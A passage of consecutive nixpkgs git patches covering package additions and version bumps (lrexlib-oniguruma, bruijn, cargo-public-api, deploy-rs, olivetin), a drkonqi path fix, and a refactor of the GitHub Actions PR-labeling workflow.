"mirror://kde/stable/plasma/6.4.1/xdg-desktop-portal-kde-6.4.1.tar.xz", + "hash": "sha256-HwHWKfaBjkiqas+D9YwH8N3z4b8qHstEgDr2XN4RlYM=" } } \ No newline at end of file From 902aeaeb8529c5475b21db5a98972d07456c1270 Mon Sep 17 00:00:00 2001 From: K900 Date: Tue, 24 Jun 2025 15:19:10 +0300 Subject: [PATCH 301/390] kdePackages.drkonqi: provide eu-unstrip --- pkgs/kde/plasma/drkonqi/default.nix | 4 +++- .../{gdb-path.patch => hardcode-paths.patch} | 15 ++++++++++++++- 2 files changed, 17 insertions(+), 2 deletions(-) rename pkgs/kde/plasma/drkonqi/{gdb-path.patch => hardcode-paths.patch} (77%) diff --git a/pkgs/kde/plasma/drkonqi/default.nix b/pkgs/kde/plasma/drkonqi/default.nix index 965ba59b308d..9ae29a108057 100644 --- a/pkgs/kde/plasma/drkonqi/default.nix +++ b/pkgs/kde/plasma/drkonqi/default.nix @@ -2,6 +2,7 @@ mkKdeDerivation, pkg-config, systemd, + elfutils, gdb, python3, replaceVars, @@ -20,8 +21,9 @@ mkKdeDerivation { pname = "drkonqi"; patches = [ - (replaceVars ./gdb-path.patch { + (replaceVars ./hardcode-paths.patch { gdb = "${gdb'}/bin/gdb"; + eu-unstrip = "${elfutils}/bin/eu-unstrip"; }) ]; diff --git a/pkgs/kde/plasma/drkonqi/gdb-path.patch b/pkgs/kde/plasma/drkonqi/hardcode-paths.patch similarity index 77% rename from pkgs/kde/plasma/drkonqi/gdb-path.patch rename to pkgs/kde/plasma/drkonqi/hardcode-paths.patch index 620a0c9ce9d1..f428524b12b1 100644 --- a/pkgs/kde/plasma/drkonqi/gdb-path.patch +++ b/pkgs/kde/plasma/drkonqi/hardcode-paths.patch @@ -1,5 +1,18 @@ +diff --git a/src/data/gdb_preamble/preamble.py b/src/data/gdb_preamble/preamble.py +index 4855231b5..a488025c1 100644 +--- a/src/data/gdb_preamble/preamble.py ++++ b/src/data/gdb_preamble/preamble.py +@@ -773,7 +773,7 @@ def resolve_modules(): + # core doesn't contain one. That makes the ids a bit unreliable but still better than nothing I suppose. + # Ultimately we'll want to use gdb here. + # https://sourceware.org/bugzilla/show_bug.cgi?id=32844 +- output = get_stdout(['eu-unstrip', "--list-only", f"--core={corefile}"], env=env) ++ output = get_stdout(['@eu-unstrip@', "--list-only", f"--core={corefile}"], env=env) + for line in output.splitlines(): + image = CoreImage(line) + if image.valid: diff --git a/src/debugger.cpp b/src/debugger.cpp -index 946bdd12..5c24b371 100644 +index 946bdd12e..5c24b3713 100644 --- a/src/debugger.cpp +++ b/src/debugger.cpp @@ -36,12 +36,12 @@ QList Debugger::availableInternalDebuggers(const QString &backend) From a5539704d765b6ff487839cbc10728d139074a20 Mon Sep 17 00:00:00 2001 From: June Stepp Date: Sat, 21 Jun 2025 17:53:21 -0500 Subject: [PATCH 302/390] luaPackages.lrexlib-oniguruma: init at 2.9.2-1 --- maintainers/scripts/luarocks-packages.csv | 1 + .../lua-modules/generated-packages.nix | 33 +++++++++++++++++++ pkgs/development/lua-modules/overrides.nix | 10 ++++++ 3 files changed, 44 insertions(+) diff --git a/maintainers/scripts/luarocks-packages.csv b/maintainers/scripts/luarocks-packages.csv index 457505f8f0de..817e95c48407 100644 --- a/maintainers/scripts/luarocks-packages.csv +++ b/maintainers/scripts/luarocks-packages.csv @@ -45,6 +45,7 @@ lpeg,,,,,,vyp lpeg_patterns,,,,,, lpeglabel,,,,1.6.0,, lrexlib-gnu,,,,,, +lrexlib-oniguruma,,,,,,junestepp lrexlib-pcre,,,,,,vyp lrexlib-posix,,,,,, lsp-progress.nvim,,,,,,gepbird diff --git a/pkgs/development/lua-modules/generated-packages.nix b/pkgs/development/lua-modules/generated-packages.nix index 290b5a9a6636..49248b3f7c1b 100644 --- a/pkgs/development/lua-modules/generated-packages.nix +++ b/pkgs/development/lua-modules/generated-packages.nix @@ -1511,6 +1511,39 @@ final: prev: { } ) { }; + lrexlib-oniguruma = callPackage ( + { + buildLuarocksPackage, + fetchFromGitHub, + fetchurl, + luaOlder, + }: + buildLuarocksPackage { + pname = "lrexlib-oniguruma"; + version = "2.9.2-1"; + knownRockspec = + (fetchurl { + url = "mirror://luarocks/lrexlib-oniguruma-2.9.2-1.rockspec"; + sha256 = "13m2v6mmmlkf2bd1mnngg118s4ymrqs7n34la6hrb4m1x772adhd"; + }).outPath; + src = fetchFromGitHub { + owner = "rrthomas"; + repo = "lrexlib"; + rev = "rel-2-9-2"; + hash = "sha256-DzNDve+xeKb+kAcW+o7GK/RsoDhaDAVAWAhgjISCyZc="; + }; + + disabled = luaOlder "5.1"; + + meta = { + homepage = "https://github.com/rrthomas/lrexlib"; + description = "Regular expression library binding (oniguruma flavour)."; + maintainers = with lib.maintainers; [ junestepp ]; + license.fullName = "MIT/X11"; + }; + } + ) { }; + lrexlib-pcre = callPackage ( { buildLuarocksPackage, diff --git a/pkgs/development/lua-modules/overrides.nix b/pkgs/development/lua-modules/overrides.nix index 2a9860397131..db8acad7a77f 100644 --- a/pkgs/development/lua-modules/overrides.nix +++ b/pkgs/development/lua-modules/overrides.nix @@ -39,6 +39,7 @@ mariadb, mpfr, neovim-unwrapped, + oniguruma, openldap, openssl, pcre, @@ -379,6 +380,15 @@ in ]; }); + lrexlib-oniguruma = prev.lrexlib-oniguruma.overrideAttrs (oa: { + externalDeps = [ + { + name = "ONIG"; + dep = oniguruma; + } + ]; + }); + lrexlib-pcre = prev.lrexlib-pcre.overrideAttrs (oa: { externalDeps = [ { From 042a2fd6d6834366b142c74e518fd2674de69725 Mon Sep 17 00:00:00 2001 From: Wolfgang Walther Date: Sun, 22 Jun 2025 14:50:28 +0200 Subject: [PATCH 303/390] workflows/labels: refactor into handle() function Separate commit for better diff. --- .github/workflows/labels.yml | 254 ++++++++++++++++++----------------- 1 file changed, 128 insertions(+), 126 deletions(-) diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml index 83cf0511fc5e..aacaa311a0c9 100644 --- a/.github/workflows/labels.yml +++ b/.github/workflows/labels.yml @@ -165,6 +165,133 @@ jobs: base: context.payload.pull_request.base.ref } + async function handle(pull_request, done) { + try { + const log = (k,v,skip) => { + core.info(`PR #${pull_request.number} - ${k}: ${v}` + (skip ? ' (skipped)' : '')) + return skip + } + + if (log('Last updated at', pull_request.updated_at, new Date(pull_request.updated_at) < cutoff)) + return done() + stats.prs++ + log('URL', pull_request.html_url) + + const run_id = (await github.rest.actions.listWorkflowRuns({ + ...context.repo, + workflow_id: 'pr.yml', + event: 'pull_request_target', + // For PR events, the workflow run is still in progress with this job itself. + status: prEventCondition ? 'in_progress' : 'success', + exclude_pull_requests: true, + head_sha: pull_request.head.sha + })).data.workflow_runs[0]?.id ?? + // TODO: Remove this after 2025-09-17, at which point all eval.yml artifacts will have expired. + (await github.rest.actions.listWorkflowRuns({ + ...context.repo, + // In older PRs, we need eval.yml instead of pr.yml. + workflow_id: 'eval.yml', + event: 'pull_request_target', + status: 'success', + exclude_pull_requests: true, + head_sha: pull_request.head.sha + })).data.workflow_runs[0]?.id + + // Newer PRs might not have run Eval to completion, yet. We can skip them, because this + // job will be run as part of that Eval run anyway. + if (log('Last eval run', run_id ?? '', !run_id)) + return; + + const artifact = (await github.rest.actions.listWorkflowRunArtifacts({ + ...context.repo, + run_id, + name: 'comparison' + })).data.artifacts[0] + + // Instead of checking the boolean artifact.expired, we will give us a minute to + // actually download the artifact in the next step and avoid that race condition. + // Older PRs, where the workflow run was already eval.yml, but the artifact was not + // called "comparison", yet, will be skipped as well. + const expired = new Date(artifact?.expires_at ?? 0) < new Date(new Date().getTime() + 60 * 1000) + if (log('Artifact expires at', artifact?.expires_at ?? '', expired)) + return; + stats.artifacts++ + + await artifactClient.downloadArtifact(artifact.id, { + findBy: { + repositoryName: context.repo.repo, + repositoryOwner: context.repo.owner, + token: core.getInput('github-token') + }, + path: path.resolve(pull_request.number.toString()), + expectedHash: artifact.digest + }) + + // Create a map (Label -> Boolean) of all currently set labels. + // Each label is set to True and can be disabled later. + const before = Object.fromEntries( + (await github.paginate(github.rest.issues.listLabelsOnIssue, { + ...context.repo, + issue_number: pull_request.number + })) + .map(({ name }) => [name, true]) + ) + + const approvals = new Set( + (await github.paginate(github.rest.pulls.listReviews, { + ...context.repo, + pull_number: pull_request.number + })) + .filter(review => review.state == 'APPROVED') + .map(review => review.user?.id) + ) + + const maintainers = new Set(Object.keys( + JSON.parse(await readFile(`${pull_request.number}/maintainers.json`, 'utf-8')) + ).map(m => Number.parseInt(m, 10))) + + const evalLabels = JSON.parse(await readFile(`${pull_request.number}/changed-paths.json`, 'utf-8')).labels + + // Manage the labels + const after = Object.assign( + {}, + before, + // Ignore `evalLabels` if it's an array. + // This can happen for older eval runs, before we switched to objects. + // The old eval labels would have been set by the eval run, + // so now they'll be present in `before`. + // TODO: Simplify once old eval results have expired (~2025-10) + (Array.isArray(evalLabels) ? undefined : evalLabels), + { + '12.approvals: 1': approvals.size == 1, + '12.approvals: 2': approvals.size == 2, + '12.approvals: 3+': approvals.size >= 3, + '12.approved-by: package-maintainer': Array.from(maintainers).some(m => approvals.has(m)), + '12.first-time contribution': + [ 'NONE', 'FIRST_TIMER', 'FIRST_TIME_CONTRIBUTOR' ].includes(pull_request.author_association), + } + ) + + // No need for an API request, if all labels are the same. + const hasChanges = Object.keys(after).some(name => (before[name] ?? false) != after[name]) + if (log('Has changes', hasChanges, !hasChanges)) + return; + + // Skipping labeling on a pull_request event, because we have no privileges. + const labels = Object.entries(after).filter(([,value]) => value).map(([name]) => name) + if (log('Set labels', labels, context.eventName == 'pull_request')) + return; + + await github.rest.issues.setLabels({ + ...context.repo, + issue_number: pull_request.number, + labels + }) + } catch (cause) { + throw new Error(`Labeling PR #${pull_request.number} failed.`, { cause }) + } + } + const prs = await github.paginate( github.rest.pulls.list, { @@ -174,132 +301,7 @@ jobs: direction: 'desc', ...prEventCondition }, - (response, done) => response.data.map(async (pull_request) => { - try { - const log = (k,v,skip) => { - core.info(`PR #${pull_request.number} - ${k}: ${v}` + (skip ? ' (skipped)' : '')) - return skip - } - - if (log('Last updated at', pull_request.updated_at, new Date(pull_request.updated_at) < cutoff)) - return done() - stats.prs++ - log('URL', pull_request.html_url) - - const run_id = (await github.rest.actions.listWorkflowRuns({ - ...context.repo, - workflow_id: 'pr.yml', - event: 'pull_request_target', - // For PR events, the workflow run is still in progress with this job itself. - status: prEventCondition ? 'in_progress' : 'success', - exclude_pull_requests: true, - head_sha: pull_request.head.sha - })).data.workflow_runs[0]?.id ?? - // TODO: Remove this after 2025-09-17, at which point all eval.yml artifacts will have expired. - (await github.rest.actions.listWorkflowRuns({ - ...context.repo, - // In older PRs, we need eval.yml instead of pr.yml. - workflow_id: 'eval.yml', - event: 'pull_request_target', - status: 'success', - exclude_pull_requests: true, - head_sha: pull_request.head.sha - })).data.workflow_runs[0]?.id - - // Newer PRs might not have run Eval to completion, yet. We can skip them, because this - // job will be run as part of that Eval run anyway. - if (log('Last eval run', run_id ?? '', !run_id)) - return; - - const artifact = (await github.rest.actions.listWorkflowRunArtifacts({ - ...context.repo, - run_id, - name: 'comparison' - })).data.artifacts[0] - - // Instead of checking the boolean artifact.expired, we will give us a minute to - // actually download the artifact in the next step and avoid that race condition. - // Older PRs, where the workflow run was already eval.yml, but the artifact was not - // called "comparison", yet, will be skipped as well. - const expired = new Date(artifact?.expires_at ?? 0) < new Date(new Date().getTime() + 60 * 1000) - if (log('Artifact expires at', artifact?.expires_at ?? '', expired)) - return; - stats.artifacts++ - - await artifactClient.downloadArtifact(artifact.id, { - findBy: { - repositoryName: context.repo.repo, - repositoryOwner: context.repo.owner, - token: core.getInput('github-token') - }, - path: path.resolve(pull_request.number.toString()), - expectedHash: artifact.digest - }) - - // Create a map (Label -> Boolean) of all currently set labels. - // Each label is set to True and can be disabled later. - const before = Object.fromEntries( - (await github.paginate(github.rest.issues.listLabelsOnIssue, { - ...context.repo, - issue_number: pull_request.number - })) - .map(({ name }) => [name, true]) - ) - - const approvals = new Set( - (await github.paginate(github.rest.pulls.listReviews, { - ...context.repo, - pull_number: pull_request.number - })) - .filter(review => review.state == 'APPROVED') - .map(review => review.user?.id) - ) - - const maintainers = new Set(Object.keys( - JSON.parse(await readFile(`${pull_request.number}/maintainers.json`, 'utf-8')) - ).map(m => Number.parseInt(m, 10))) - - const evalLabels = JSON.parse(await readFile(`${pull_request.number}/changed-paths.json`, 'utf-8')).labels - - // Manage the labels - const after = Object.assign( - {}, - before, - // Ignore `evalLabels` if it's an array. - // This can happen for older eval runs, before we switched to objects. - // The old eval labels would have been set by the eval run, - // so now they'll be present in `before`. - // TODO: Simplify once old eval results have expired (~2025-10) - (Array.isArray(evalLabels) ? undefined : evalLabels), - { - '12.approvals: 1': approvals.size == 1, - '12.approvals: 2': approvals.size == 2, - '12.approvals: 3+': approvals.size >= 3, - '12.approved-by: package-maintainer': Array.from(maintainers).some(m => approvals.has(m)), - '12.first-time contribution': - [ 'NONE', 'FIRST_TIMER', 'FIRST_TIME_CONTRIBUTOR' ].includes(pull_request.author_association), - } - ) - - // No need for an API request, if all labels are the same. - const hasChanges = Object.keys(after).some(name => (before[name] ?? false) != after[name]) - if (log('Has changes', hasChanges, !hasChanges)) - return; - - // Skipping labeling on a pull_request event, because we have no privileges. - const labels = Object.entries(after).filter(([,value]) => value).map(([name]) => name) - if (log('Set labels', labels, context.eventName == 'pull_request')) - return; - - await github.rest.issues.setLabels({ - ...context.repo, - issue_number: pull_request.number, - labels - }) - } catch (cause) { - throw new Error(`Labeling PR #${pull_request.number} failed.`, { cause }) - } - }) + (response, done) => response.data.map(pull_request => handle(pull_request, done)) ); (await Promise.allSettled(prs.flat())) From f394b2741ed5fe11e79fc926a7547ec174e219e2 Mon Sep 17 00:00:00 2001 From: Wolfgang Walther Date: Sun, 22 Jun 2025 16:30:00 +0200 Subject: [PATCH 304/390] workflows/labels: refactor moving cutoff downwards --- .github/workflows/labels.yml | 52 ++++++++++++++++++------------------ 1 file changed, 26 insertions(+), 26 deletions(-) diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml index aacaa311a0c9..0cace4e0217b 100644 --- a/.github/workflows/labels.yml +++ b/.github/workflows/labels.yml @@ -131,30 +131,6 @@ jobs: if (process.env.UPDATED_WITHIN && !/^\d+$/.test(process.env.UPDATED_WITHIN)) throw new Error('Please enter "updated within" as integer in hours.') - const cutoff = new Date(await (async () => { - // Always run for Pull Request triggers, no cutoff since there will be a single - // response only anyway. 0 is the Unix epoch, so always smaller. - if (context.payload.pull_request?.number) return 0 - - // Manually triggered via UI when updatedWithin is set. Will fallthrough to the last - // option if the updatedWithin parameter is set to 0, which is the default. - const updatedWithin = Number.parseInt(process.env.UPDATED_WITHIN, 10) - if (updatedWithin) return new Date().getTime() - updatedWithin * 60 * 60 * 1000 - - // Normally a scheduled run, but could be workflow_dispatch, see above. Go back as far - // as the last successful run of this workflow to make sure we are not leaving anyone - // behind on GHA failures. - // Defaults to go back 1 hour on the first run. - return (await github.rest.actions.listWorkflowRuns({ - ...context.repo, - workflow_id: 'labels.yml', - event: 'schedule', - status: 'success', - exclude_pull_requests: true - })).data.workflow_runs[0]?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000 - })()) - core.info('cutoff timestamp: ' + cutoff.toISOString()) - // To simplify this action's logic we fetch the pull_request data again below, even if // we are already in a pull_request event's context and would have the data readily // available. We do this by filtering the list of pull requests with head and base @@ -165,7 +141,7 @@ jobs: base: context.payload.pull_request.base.ref } - async function handle(pull_request, done) { + async function handle(pull_request, done, cutoff) { try { const log = (k,v,skip) => { core.info(`PR #${pull_request.number} - ${k}: ${v}` + (skip ? ' (skipped)' : '')) @@ -292,6 +268,30 @@ jobs: } } + const cutoff = new Date(await (async () => { + // Always run for Pull Request triggers, no cutoff since there will be a single + // response only anyway. 0 is the Unix epoch, so always smaller. + if (context.payload.pull_request?.number) return 0 + + // Manually triggered via UI when updatedWithin is set. Will fallthrough to the last + // option if the updatedWithin parameter is set to 0, which is the default. + const updatedWithin = Number.parseInt(process.env.UPDATED_WITHIN, 10) + if (updatedWithin) return new Date().getTime() - updatedWithin * 60 * 60 * 1000 + + // Normally a scheduled run, but could be workflow_dispatch, see above. Go back as far + // as the last successful run of this workflow to make sure we are not leaving anyone + // behind on GHA failures. + // Defaults to go back 1 hour on the first run. + return (await github.rest.actions.listWorkflowRuns({ + ...context.repo, + workflow_id: 'labels.yml', + event: 'schedule', + status: 'success', + exclude_pull_requests: true + })).data.workflow_runs[0]?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000 + })()) + core.info('cutoff timestamp: ' + cutoff.toISOString()) + const prs = await github.paginate( github.rest.pulls.list, { @@ -301,7 +301,7 @@ jobs: direction: 'desc', ...prEventCondition }, - (response, done) => response.data.map(pull_request => handle(pull_request, done)) + (response, done) => response.data.map(pull_request => handle(pull_request, done, cutoff)) ); (await Promise.allSettled(prs.flat())) From 8b5101554abc12b9fdf6be4095f11b1d0b1e2892 Mon Sep 17 00:00:00 2001 From: Wolfgang Walther Date: Sun, 22 Jun 2025 16:18:19 +0200 Subject: [PATCH 305/390] workflows/labels: save an API request when running in pull_request context We previously ran another list request in this case, but don't need to anymore - we already have the `pull_request` context available. --- .github/workflows/labels.yml | 86 ++++++++++++++++-------------------- 1 file changed, 37 insertions(+), 49 deletions(-) diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml index 0cace4e0217b..7bf96fe5856d 100644 --- a/.github/workflows/labels.yml +++ b/.github/workflows/labels.yml @@ -131,16 +131,6 @@ jobs: if (process.env.UPDATED_WITHIN && !/^\d+$/.test(process.env.UPDATED_WITHIN)) throw new Error('Please enter "updated within" as integer in hours.') - // To simplify this action's logic we fetch the pull_request data again below, even if - // we are already in a pull_request event's context and would have the data readily - // available. We do this by filtering the list of pull requests with head and base - // branch - there can only be a single open Pull Request for any such combination. - const prEventCondition = !context.payload.pull_request ? undefined : { - // "label" is in the format of `user:branch` or `org:branch` - head: context.payload.pull_request.head.label, - base: context.payload.pull_request.base.ref - } - async function handle(pull_request, done, cutoff) { try { const log = (k,v,skip) => { @@ -157,8 +147,7 @@ jobs: ...context.repo, workflow_id: 'pr.yml', event: 'pull_request_target', - // For PR events, the workflow run is still in progress with this job itself. - status: prEventCondition ? 'in_progress' : 'success', + status: 'success', exclude_pull_requests: true, head_sha: pull_request.head.sha })).data.workflow_runs[0]?.id ?? @@ -268,47 +257,46 @@ jobs: } } - const cutoff = new Date(await (async () => { - // Always run for Pull Request triggers, no cutoff since there will be a single - // response only anyway. 0 is the Unix epoch, so always smaller. - if (context.payload.pull_request?.number) return 0 + if (context.payload.pull_request) { + await handle(context.payload.pull_request) + } else { + const cutoff = new Date(await (async () => { + // Manually triggered via UI when updatedWithin is set. Will fallthrough to the last + // option if the updatedWithin parameter is set to 0, which is the default. + const updatedWithin = Number.parseInt(process.env.UPDATED_WITHIN, 10) + if (updatedWithin) return new Date().getTime() - updatedWithin * 60 * 60 * 1000 - // Manually triggered via UI when updatedWithin is set. Will fallthrough to the last - // option if the updatedWithin parameter is set to 0, which is the default. - const updatedWithin = Number.parseInt(process.env.UPDATED_WITHIN, 10) - if (updatedWithin) return new Date().getTime() - updatedWithin * 60 * 60 * 1000 + // Normally a scheduled run, but could be workflow_dispatch, see above. Go back as far + // as the last successful run of this workflow to make sure we are not leaving anyone + // behind on GHA failures. + // Defaults to go back 1 hour on the first run. + return (await github.rest.actions.listWorkflowRuns({ + ...context.repo, + workflow_id: 'labels.yml', + event: 'schedule', + status: 'success', + exclude_pull_requests: true + })).data.workflow_runs[0]?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000 + })()) + core.info('cutoff timestamp: ' + cutoff.toISOString()) - // Normally a scheduled run, but could be workflow_dispatch, see above. Go back as far - // as the last successful run of this workflow to make sure we are not leaving anyone - // behind on GHA failures. - // Defaults to go back 1 hour on the first run. - return (await github.rest.actions.listWorkflowRuns({ - ...context.repo, - workflow_id: 'labels.yml', - event: 'schedule', - status: 'success', - exclude_pull_requests: true - })).data.workflow_runs[0]?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000 - })()) - core.info('cutoff timestamp: ' + cutoff.toISOString()) + const prs = await github.paginate( + github.rest.pulls.list, + { + ...context.repo, + state: 'open', + sort: 'updated', + direction: 'desc', + }, + (response, done) => response.data.map(pull_request => handle(pull_request, done, cutoff)) + ); - const prs = await github.paginate( - github.rest.pulls.list, - { - ...context.repo, - state: 'open', - sort: 'updated', - direction: 'desc', - ...prEventCondition - }, - (response, done) => response.data.map(pull_request => handle(pull_request, done, cutoff)) - ); + (await Promise.allSettled(prs.flat())) + .filter(({ status }) => status == 'rejected') + .map(({ reason }) => core.setFailed(`${reason.message}\n${reason.cause.stack}`)) - (await Promise.allSettled(prs.flat())) - .filter(({ status }) => status == 'rejected') - .map(({ reason }) => core.setFailed(`${reason.message}\n${reason.cause.stack}`)) - - core.notice(`Processed ${stats.prs} PRs, made ${stats.requests + stats.artifacts} API requests and downloaded ${stats.artifacts} artifacts.`) + core.notice(`Processed ${stats.prs} PRs, made ${stats.requests + stats.artifacts} API requests and downloaded ${stats.artifacts} artifacts.`) + } clearInterval(reservoirUpdater) - name: Log current API rate limits From bc6486db69ba7bcabfbc4875720e97ab6375da89 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 12:35:46 +0000 Subject: [PATCH 306/390] cargo-public-api: 0.47.1 -> 0.48.0 --- pkgs/by-name/ca/cargo-public-api/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/ca/cargo-public-api/package.nix b/pkgs/by-name/ca/cargo-public-api/package.nix index e179d9307c5a..971a850cbf47 100644 --- a/pkgs/by-name/ca/cargo-public-api/package.nix +++ b/pkgs/by-name/ca/cargo-public-api/package.nix @@ -9,15 +9,15 @@ rustPlatform.buildRustPackage rec { pname = "cargo-public-api"; - version = "0.47.1"; + version = "0.48.0"; src = fetchCrate { inherit pname version; - hash = "sha256-xDMOrL9yyaEEwPhcrkPugVMTyKW4T6X1yE4tN9dmPas="; + hash = "sha256-QNv1aVdGZUSgiq4nJ5epuioZOJCKsss7GKYlsf98CJc="; }; useFetchCargoVendor = true; - cargoHash = "sha256-HhYGc0S/i6KWZsv4E1NTkZb+jdUkcKDP/c0hdVTHJXE="; + cargoHash = "sha256-XzMNQbDP1dCs1vCEGgOBLR0xw8RSXupMdX5V0SPtvy4="; nativeBuildInputs = [ pkg-config ]; From 248f4b8deb76ab68a8351868465ac31fc2898d6b Mon Sep 17 00:00:00 2001 From: Defelo Date: Sat, 21 Jun 2025 16:57:58 +0200 Subject: [PATCH 307/390] bruijn: init at 0-unstable-2025-06-23 --- pkgs/by-name/br/bruijn/generated.nix | 75 ++++++++++++++++++++++++++++ pkgs/by-name/br/bruijn/package.nix | 25 ++++++++++ pkgs/by-name/br/bruijn/update.sh | 16 ++++++ pkgs/by-name/br/bruijn/version.txt | 1 + 4 files changed, 117 insertions(+) create mode 100644 pkgs/by-name/br/bruijn/generated.nix create mode 100644 pkgs/by-name/br/bruijn/package.nix create mode 100755 pkgs/by-name/br/bruijn/update.sh create mode 100644 pkgs/by-name/br/bruijn/version.txt diff --git a/pkgs/by-name/br/bruijn/generated.nix b/pkgs/by-name/br/bruijn/generated.nix new file mode 100644 index 000000000000..cd95e0dca2a7 --- /dev/null +++ b/pkgs/by-name/br/bruijn/generated.nix @@ -0,0 +1,75 @@ +{ + mkDerivation, + array, + base, + binary, + bitstring, + bytestring, + clock, + containers, + deepseq, + directory, + fetchzip, + filepath, + haskeline, + lib, + megaparsec, + mtl, + optparse-applicative, + process, + random, + time, +}: +mkDerivation { + pname = "bruijn"; + version = "0.1.0.0"; + src = fetchzip { + url = "https://github.com/marvinborner/bruijn/archive/d60ad52f135370635db3a2db3363005670af14b8.tar.gz"; + sha256 = "182v56vc71467q8x7bp83ch6wp3kv5wgxrm53l2vvnvfqyqswpi2"; + }; + isLibrary = true; + isExecutable = true; + enableSeparateDataOutput = true; + libraryHaskellDepends = [ + array + base + binary + bitstring + bytestring + clock + containers + deepseq + directory + filepath + haskeline + megaparsec + mtl + optparse-applicative + process + random + time + ]; + executableHaskellDepends = [ + array + base + binary + bitstring + bytestring + clock + containers + deepseq + directory + filepath + haskeline + megaparsec + mtl + optparse-applicative + process + random + time + ]; + homepage = "https://github.com/githubuser/bruijn#readme"; + license = lib.licenses.mit; + mainProgram = "bruijn"; + maintainers = [ lib.maintainers.defelo ]; +} diff --git a/pkgs/by-name/br/bruijn/package.nix b/pkgs/by-name/br/bruijn/package.nix new file mode 100644 index 000000000000..981b57465a8e --- /dev/null +++ b/pkgs/by-name/br/bruijn/package.nix @@ -0,0 +1,25 @@ +{ + haskell, + haskellPackages, + lib, +}: + +let + inherit (haskell.lib.compose) justStaticExecutables overrideCabal; + + generated = haskellPackages.callPackage ./generated.nix { }; + + overrides = { + version = lib.fileContents ./version.txt; + + passthru.updateScript = ./update.sh; + + description = "Purely functional programming language based on lambda calculus and de Bruijn indices"; + homepage = "https://bruijn.marvinborner.de/"; + }; +in + +lib.pipe generated [ + (overrideCabal overrides) + justStaticExecutables +] diff --git a/pkgs/by-name/br/bruijn/update.sh b/pkgs/by-name/br/bruijn/update.sh new file mode 100755 index 000000000000..40454a4d226c --- /dev/null +++ b/pkgs/by-name/br/bruijn/update.sh @@ -0,0 +1,16 @@ +#!/usr/bin/env nix-shell +#!nix-shell -i bash -p coreutils cabal2nix curl jq nixfmt-rfc-style + +set -euo pipefail + +cd "$(dirname "${BASH_SOURCE[0]}")" + +{ read -r rev; read -r committer_date; } \ + < <(curl ${GITHUB_TOKEN:+-u ":$GITHUB_TOKEN"} -sfL https://api.github.com/repos/marvinborner/bruijn/branches/main \ + | jq -r '.commit | .sha, .commit.committer.date') + +cabal2nix --maintainer defelo "https://github.com/marvinborner/bruijn/archive/${rev}.tar.gz" \ + | nixfmt \ + > generated.nix + +echo "0-unstable-$(date -I --date="$committer_date")" > version.txt diff --git a/pkgs/by-name/br/bruijn/version.txt b/pkgs/by-name/br/bruijn/version.txt new file mode 100644 index 000000000000..8bac9139bd76 --- /dev/null +++ b/pkgs/by-name/br/bruijn/version.txt @@ -0,0 +1 @@ +0-unstable-2025-06-23 From 431ff6f6d770d7c2cd6ee56b8b601017ad03a882 Mon Sep 17 00:00:00 2001 From: 06kellyjac Date: Tue, 24 Jun 2025 13:42:15 +0100 Subject: [PATCH 308/390] deploy-rs: 0-unstable-2024-06-12 -> 0-unstable-2025-06-05 --- pkgs/by-name/de/deploy-rs/package.nix | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/pkgs/by-name/de/deploy-rs/package.nix b/pkgs/by-name/de/deploy-rs/package.nix index e618554e01b5..ecd717721468 100644 --- a/pkgs/by-name/de/deploy-rs/package.nix +++ b/pkgs/by-name/de/deploy-rs/package.nix @@ -6,23 +6,26 @@ rustPlatform.buildRustPackage { pname = "deploy-rs"; - version = "0-unstable-2024-06-12"; + version = "0-unstable-2025-06-05"; src = fetchFromGitHub { owner = "serokell"; repo = "deploy-rs"; - rev = "3867348fa92bc892eba5d9ddb2d7a97b9e127a8a"; - hash = "sha256-FaGrf7qwZ99ehPJCAwgvNY5sLCqQ3GDiE/6uLhxxwSY="; + rev = "6bc76b872374845ba9d645a2f012b764fecd765f"; + hash = "sha256-hXh76y/wDl15almBcqvjryB50B0BaiXJKk20f314RoE="; }; - useFetchCargoVendor = true; - cargoHash = "sha256-e+Exc0lEamAieZ7QHJBYvmnmM/9YHdLRD3La4U5FRMo="; + cargoHash = "sha256-9O93YTEz+e2oxenE0gwxsbz55clbKo9+37yVOqz7ErE="; meta = { description = "Multi-profile Nix-flake deploy tool"; homepage = "https://github.com/serokell/deploy-rs"; license = lib.licenses.mpl20; - maintainers = with lib.maintainers; [ teutat3s ]; + maintainers = with lib.maintainers; [ + teutat3s + jk + ]; + teams = [ lib.teams.serokell ]; mainProgram = "deploy"; }; } From 9438cfd2d67afd836b6c43e29fc4f63dcf05eb06 Mon Sep 17 00:00:00 2001 From: Defelo Date: Sun, 22 Jun 2025 22:38:28 +0000 Subject: [PATCH 309/390] olivetin: 2025.6.6 -> 2025.6.22 Changelog: https://github.com/OliveTin/OliveTin/releases/tag/2025.6.22 Diff: https://github.com/OliveTin/OliveTin/compare/2025.6.6...2025.6.22 --- pkgs/by-name/ol/olivetin/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/ol/olivetin/package.nix b/pkgs/by-name/ol/olivetin/package.nix index 099f91830fc5..21eb3657b331 100644 --- a/pkgs/by-name/ol/olivetin/package.nix +++ b/pkgs/by-name/ol/olivetin/package.nix @@ -49,7 +49,7 @@ buildGoModule ( ''; outputHashMode = "recursive"; - outputHash = "sha256-KygZ7NqkfhczYy1YMR824Om4NTq06+KHa/jvmsCty3s="; + outputHash = "sha256-3CtcjqjPmK//f15aTE4bUA+moaXNz+AeWiopqWf9qq8="; }; webui = buildNpmPackage { @@ -81,13 +81,13 @@ buildGoModule ( { pname = "olivetin"; - version = "2025.6.6"; + version = "2025.6.22"; src = fetchFromGitHub { owner = "OliveTin"; repo = "OliveTin"; tag = finalAttrs.version; - hash = "sha256-yzAuhrkJEBErf9yYuRoq5B7PT0XA0w668AG5LNSSRFM="; + hash = "sha256-fNE8x0d0lnKVxy4fk3h5QrcWnMKBcxhrxpDbZYTXimc="; }; modRoot = "service"; From d9d97fda59d81255aa606f1fccf04dc9f2b6240c Mon Sep 17 00:00:00 2001 From: Wolfgang 